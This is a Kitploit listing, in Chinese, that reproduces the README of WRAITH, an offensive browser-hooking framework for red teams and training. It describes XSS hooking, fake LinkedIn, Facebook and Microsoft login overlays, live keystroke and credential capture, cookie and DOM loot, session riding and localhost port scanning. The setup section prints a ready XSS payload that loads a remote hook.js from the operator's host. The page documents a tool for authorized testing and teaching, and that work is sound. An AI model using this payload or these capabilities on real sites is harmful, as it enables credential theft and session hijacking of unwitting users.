Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
wraith — 面向授权红队与教育工作者的浏览器劫持框架。通过 XSS 劫持浏览器,提供交互式后渗透控制、盲打 XSS 战利品捕获、社会工程覆盖层,以及一个练习实验室。 | Kitploit
工具/GitHubGitHub/arcanum-sec/wraith
漏洞利用钓鱼攻击Web安全渗透测试命令与控制社会工程学学习与教育红队实验室与实践
GitHubarcanum-sec/wraith

wraith

面向授权红队与教育工作者的浏览器劫持框架。通过 XSS 劫持浏览器,提供交互式后渗透控制、盲打 XSS 战利品捕获、社会工程覆盖层,以及一个练习实验室。

查看仓库
14012121个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

WRAITH — 浏览器钩子框架

一个面向红队、安全研究人员和教育工作者的现代化独立浏览器钩子框架——作为 BeEF 和盲 XSS 回调工具的洁净室继任者。

仅限授权安全测试、研究与教育用途。 WRAITH 是一款攻击性安全工具,用于演示和测试钓鱼 / 浏览器中间人 / 盲 XSS 攻击技术。仅可针对你拥有明确授权进行测试的系统和人员使用。你需自行承担使用方式的责任。

WRAITH 操作员控制台


为什么我们要构建它

在 Arcanum 的工作过程中,我们不断需要两种不同类型的工具,并希望它们能合二为一。

一方面是 BeEF —— 浏览器利用框架 —— 用于经典的钩住浏览器,然后在其会话内部开展工作的工作流:键盘记录虚假登录、侦察本地网络、向实时受害者推送模块。这是我们用来让浏览器中间人攻击变得真实可感的工具。但它已显老态,大部分功能在现代浏览器中不可靠,而且社会工程学覆盖层看起来像是十年前的登录页面。

另一方面是我们钟爱的盲 XSS 回调框架(XSS Hunter、ezXSS):将载荷放入某个字段,一旦它在你看不到的地方触发,就会带着战利品回连——来源、Cookie、DOM、截图。

我们越来越需要的是——尤其是当越来越多的目标变成 AI 应用生态系统,其中不受信任的文本流经代理、工具输出、管理员审核队列和支持控制台,并在无人监视的地方触发 JavaScript——一个能同时做到两点的单一框架:BeEF 钩子的交互式、持久化后渗透控制,以及即发即弃的盲 XSS 回调战利品,集成在一个在当前浏览器中可靠且看起来像当今真实登录界面的载荷中。

于是我们构建了 WRAITH。

提醒:这是一个进行中的工作

我们有意提前发布 WRAITH。我们宁愿把它交到真正会使用它的人手中——并听取哪些地方出了问题——也不愿等到它“完成”才发布。

这意味着:请预期存在粗糙之处和缺陷。 有些模块比其他模块经过更多实战检验,浏览器行为不断变化(参见下方的网络扫描说明),API 可能在版本之间发生变化。如果你遇到问题,请提交 issue——复现步骤、浏览器及版本、以及你的预期都是宝贵信息。欢迎在项目的贡献条款下提交 PR。


快速开始(Docker)

最快的路径。你需要 Docker + Docker Compose。

root@kitploit:~
git clone https://github.com/Arcanum-Sec/wraith
cd wraith
./setup.sh

setup.sh 会引导你完成所有步骤:

  1. 检测你的公网 IP(或允许你输入域名 / 自定义主机),以便每个钩子和载荷 URL 都使用你的地址生成。
  2. 让你设置操作员用户名 + 密码用于控制台登录。
  3. 生成会话签名密钥,写入一个被 gitignore 的 .env(chmod 600),并构建 + 启动容器。
  4. 最后打印你的实时 URL 和一个即插即用的 XSS 载荷:
root@kitploit:~
  操作员控制台 : http://YOUR_IP:8090/operator/
  登录页面     : http://YOUR_IP:8090/login   (用户 "operator")
  演示受害者页面 : http://YOUR_IP:8090/demo/
  钩子载荷     : http://YOUR_IP:8090/hook.js

  即插即用 XSS 载荷:
    "><script src="http://YOUR_IP:8090/hook.js"></script>

使用标准 compose 命令进行管理:

root@kitploit:~
docker compose logs -f      # 查看日志
docker compose down         # 停止(保留 ./data)
./setup.sh                  # 重新配置(轮换密码、更改地址等)

捕获的会话持久化在宿主机上的 ./data/ 中——绝不烘焙进镜像,绝不提交(.env 和 data/ 已被 gitignore)。

只要设置了操作员密码,操作员控制台就受登录保护,需要用户名 + 密码登录:

操作员登录

在本地无 Docker 运行(开发)

root@kitploit:~
npm install
npm start

然后在 http://127.0.0.1:3000/operator/ 打开操作员控制台,在 http://127.0.0.1:3000/demo/ 打开演示受害者页面(在第二个浏览器 / 配置文件中)。在 localhost 上,为方便起见默认禁用登录——服务器拒绝在没有操作员密码的情况下绑定到公共接口,因此你不会意外暴露一个开放面板。


功能特性

钩子 + 操作员控制台

/hook.js 是一个小型载荷。将其放入你控制的任何页面(<script src="/hook.js"></script>),或通过目标中的 XSS 传递它。加载它的浏览器会向操作员打开一个 WebSocket,进行指纹识别(浏览器、操作系统、IP、页面、UA),自动重连,并在导航后保持存活。每个被钩住的浏览器都会实时显示在控制台中,你可以选择一个并驱动它——完整仪表盘就是本 README 顶部的英雄截图:被钩浏览器列表、目标详情、部署控制、实时活动流和捕获的凭据。

社会工程学覆盖层

现代化的虚假登录覆盖层,在隔离的 shadow DOM 中渲染,使其在任何宿主页面上都像素级完美,并像真实的重新认证模态框一样对背后的页面进行毛玻璃模糊处理。内置 LinkedIn、Facebook 和 Microsoft / Office 365(真实的双步骤邮箱 → 密码)。

LinkedIn 重新认证覆盖层叠加在宿主页面上

实时按键 + 捕获的凭据

目标在覆盖层中输入的每个字符都会实时流式传输到控制台,提交的凭据会落入捕获的凭据中——所有内容均持久化,刷新或重启不会丢失任何数据。

实时按键和捕获的凭据

页面捕获——盲 XSS 战利品

浏览器被钩住的瞬间,WRAITH 会自动触发页面捕获:正是盲 XSS 框架在你的载荷在你无法看到的地方触发时抓取的内容——在哪里触发的(来源 + URL + 引用页)、受害者的 Cookie(非 HttpOnly)、完整 DOM 以及截图。失败会被如实报告,因为它们本身就是教训:HttpOnly Cookie 永远不会出现,CSP 或跨源画布污染可能阻止截图。

页面捕获盲 XSS 战利品

页面镜像——超越截图 🆕

这正是 WRAITH 超越它所替代工具的地方。 当你在页面中植入盲 XSS 或钩子时,大多数框架止步于截图和原始 HTML 转储——你可以看到载荷在哪里触发,但无法真正利用它做任何事。

WRAITH 的页面镜像将这种死胡同战利品转变为应用程序的实时、可导航视图。在操作员控制台内将钩住的页面作为真实渲染的浏览器视图打开——然后点击链接并在应用中可视化移动,就像受害者一样。

页面镜像——钩住页面的实时可点击视图

关键点:每次导航都是通过被钩住的浏览器获取的,因此它承载着受害者的会话和同源信任。受害者的会话能到达的任何页面、端点或功能,你也能到达——包括受你从未见过的认证会话 Cookie(且因为是 HttpOnly,你永远无法直接窃取)保护的页面。

在下面的示例中,我们从支持代理的工单队列开始,直接点击进入一个内部凭据保险库——一个只能在经过认证的代理会话内解析的页面。没有钓鱼凭据,没有窃取 Cookie:我们只是搭载了受害者的会话到达那里。

页面镜像通过受害者到达会话门控的保险库

跨源读取仍然按设计失败(同源策略仍然有效)——镜像的到达范围恰好就是受害者的到达范围,不多也不少。这个边界本身就是教训的一部分。

盲 XSS 载荷目录

一个 XSS-Hunter 风格的目录,包含适用于每种上下文的即用注入字符串(HTML、属性逃逸、标签闭合、事件处理器、JS 上下文、javascript: URI、jQuery),每个都自动填入你的钩子 URL,并可一键复制。

盲 XSS 载荷目录

本地 / localhost 网络扫描

使用被钩住的浏览器作为代理来指纹识别受害者的本地服务。这是一种时序侧信道,为当前浏览器重建——可靠的默认方式是使用两种独立原语(fetch 和 WebSocket 时序,即 eBay 的 check.js 方法)进行校准的 127.0.0.1 扫描。局域网模式已包含但如实标注,因为 Chrome 142+ 的本地网络访问(LNA)现在会对其进行门控(参见下文)。

内置练习实验室

/lab 处有一个故意存在漏洞的“支持服务台”,带有存储型 XSS 注入点,让你可以同源端到端演示整个链条:提交恶意工单 → “代理”审核队列时载荷触发(盲 XSS 时刻)→ 页面镜像钩住的代理并拉取会话门控的保险库。故意设计为不安全,并埋有标记。

内置易受攻击的练习实验室


在此平台上教授盲 XSS

钩子在加载的瞬间触发,就像投入存储字段的盲 XSS 载荷后来在你无法看到的某个管理 / 支持 / 日志 / 代理上下文中渲染一样。数据中直接呈现的教训:

  • Cookie 仅对 JS 可读。 HttpOnly Cookie 永远不会出现,这正是 HttpOnly 的全部意义——也正是页面镜像的搭载会话方法比窃取 Cookie 更重要的原因。
  • 截图是尽力而为。 html2canvas 可能被 CSP 阻止,跨源图像会污染画布使其无法导出。这些失败会被如实报告而非隐藏。
  • 来源 + 引用页告诉你落在哪里,这对盲 XSS 来说就是全部问题(“我的载荷在哪里执行了?”)。

对于离线实验室,请自行托管 html2canvas——参见 public/vendor/README.md。

关于网络扫描(演示前请阅读)

JavaScript 无法读取跨源响应,但它可以发起请求并观察其失败方式和速度,这会泄露端口状态。该模块围绕当前浏览器(2025–2026) 中有效的方式重建,因为旧的 BeEF 时代局域网扫描现已失效。

现代现实: Chrome 142+(2025 年 10 月)推出了本地网络访问(LNA),将对私有网段(10.x / 172.16.x / 192.168.x)的请求门控在权限提示之后。盲目的局域网扫描不再能到达网络。但回环地址(127.0.0.1)仍然可达,扫描它才是现实世界的攻击——eBay、Best Buy 等曾被发现在扫描访客的 localhost 以指纹识别本地服务和远程访问工具。

因此该模块有三种模式:

  • 本机(localhost)——可靠的默认方式。一种校准的 127.0.0.1 扫描,使用 fetch 时序和 WebSocket 时序探测每个端口,首先学习本机的 RST 基线,然后将任何解析、挂起或运行较慢的内容标记为 OPEN,标注可能的服务,并显示 fetch、ws 或两者是否一致。目前可在 Chrome 和 Firefox 中工作。
  • 局域网主机——扫描一个私有 IP。仅当浏览器允许时才能工作;Chrome 142+ 通常会阻止它(模块会检测到这一点并如实说明)。
  • 发现局域网主机——子网扫描。现在大多被 LNA 阻止;保留是为了展示这种阻止作为教训。

与 BeEF 的对应关系(用于教学)

“这与盲 XSS、Evilginx 或 EvilGoPhish 有何不同?”

这些工具位于攻击的不同阶段,滥用不同的信任上下文。它们是互补的,并且可以串联使用。

要教授的真实区别:我们的覆盖层钓鱼收集的是用户输入的内容——它不捕获真实会话,也不绕过 MFA。这正是它作为对比的绝佳之处,也是行业转向**抗钓鱼、来源绑定的认证(FIDO2 / WebAuthn / 通行密钥)**的原因。一个现实的杀伤链会使用全部三者:盲 XSS 发现并传递代码执行,WRAITH 钩子提供会话内交互控制(并通过页面镜像直接到达应用功能),而重定向可以将受害者引入 Evilginx 流程以获得真实的 MFA 通过会话。

配置

一切均由环境变量驱动;同一构建可在任何地方运行,因为 hook.js 从其被服务的任何位置推导回调 URL。setup.sh 将这些写入 .env。

一个已签署的 HttpOnly 会话 Cookie 同时覆盖面板和实时 WebSocket。钩子载荷、演示页面和 /ws/hook 通道保持公开,以便受害者可以访问它们。作为故障安全机制,服务器拒绝绑定到公共接口,除非已设置密码。

如需裸机 / systemd 部署而非 Docker,请参见 deploy/DEPLOY.md。

文件结构

root@kitploit:~
server.js            C2 服务器(HTTP + WS,按路径区分两种角色)
config.js            环境变量驱动的配置
store.js             持久化会话 / 战利品存储(data/sessions.json)
lab.js               故意易受攻击的练习实验室(/lab)
public/hook.js       载荷
public/demo/         无害的“受害者”落地页
public/operator/     操作员控制台(GUI + 载荷目录)
modules/             linkedin.js facebook.js microsoft.js portscan.js capture.js + 注册表
public/vendor/       可选的自托管库(用于离线截图的 html2canvas)
setup.sh             交互式 Docker 安装程序
Dockerfile           / docker-compose.yml
deploy/              裸机 systemd 替代方案
docs/screenshots/    本 README 中使用的图片

许可证与署名

WRAITH © 2026 Arcanum Information Security,根据 Apache License 2.0 发布。

你可以自由使用、修改和重新分发它——包括用于你自己的培训——但你必须保留署名:在你分发或 fork 的任何内容中保留 LICENSE 和 NOTICE 文件以及 Arcanum 版权声明,并说明你所做的更改(Apache-2.0 §4)。参见 NOTICE。该许可证不授予在描述代码来源之外使用 Arcanum 名称或标志的权利。

由 Arcanum 用 ❤️ 构建——https://arcanum-sec.com

下载工具
BeEFWRAITH
hook.js + XHR 轮询public/hook.js + WebSocket(实时、可靠)
Ruby 服务器 + RESTful APIserver.js(Node + ws)
在线 / 离线浏览器面板操作员控制台“被钩住的浏览器”
Pretty Theft 模块覆盖层 modules/*.js(现代化 LinkedIn/Facebook/Microsoft)
网络发现 / 端口扫描器modules/portscan.js(校准、适配当前浏览器)
命令结果实时按键 + 捕获的凭据 + 扫描结果
(无对应物)页面捕获(盲 XSS 战利品)+ 页面镜像(导航应用)
WRAITH / BeEF盲 XSS 框架(XSS Hunter、ezXSS)AiTM 代理(Evilginx、EvilGoPhish、Modlishka)
是什么浏览器中间人后渗透 C2(+ 盲 XSS 战利品)XSS 检测 + 证明,附带一次性侦察中间人攻击反向代理
前提条件你已拥有在页面中运行的 JS相同:你的载荷在你无法看到的地方执行受害者点击链接并在你的仿冒域名上登录
滥用的来源受害者的真实会话 / 真实来源易受攻击应用的来源代理真实站点的独立攻击者域名
捕获内容凭据 + 按键 + 侦察 + 盲 XSS 战利品 + 通过页面镜像导航应用“它触发了,这里是”:DOM、Cookie、截图、来源真实凭据以及 MFA 后的会话令牌
能绕过 MFA?不能——你钓鱼到的是静态凭据仅当它在页面内搭载实时已认证会话时能——窃取认证后的会话 Cookie 正是其目的
环境变量默认值用途
WRAITH_HOST127.0.0.1绑定接口(0.0.0.0 用于暴露;Docker 中强制)
WRAITH_PORT3000HTTP + WebSocket 端口(setup.sh 默认为 8090)
WRAITH_PUBLIC_URL(推导)你的 IP / 域名,用于打印正确的钩子 URL
WRAITH_OP_USER(空)操作员登录用户名(可选;setup.sh 会设置一个)
WRAITH_OP_PASSWORD(空)操作员登录密码;公开绑定必需
WRAITH_SECRET(随机 / 启动时)签署会话 Cookie;设置以在重启后保持登录
WRAITH_SESSION_HOURS12操作员会话生命周期
WRAITH_AUTOCAPTURE1钩住时自动触发页面捕获(0 = 手动,BeEF 风格)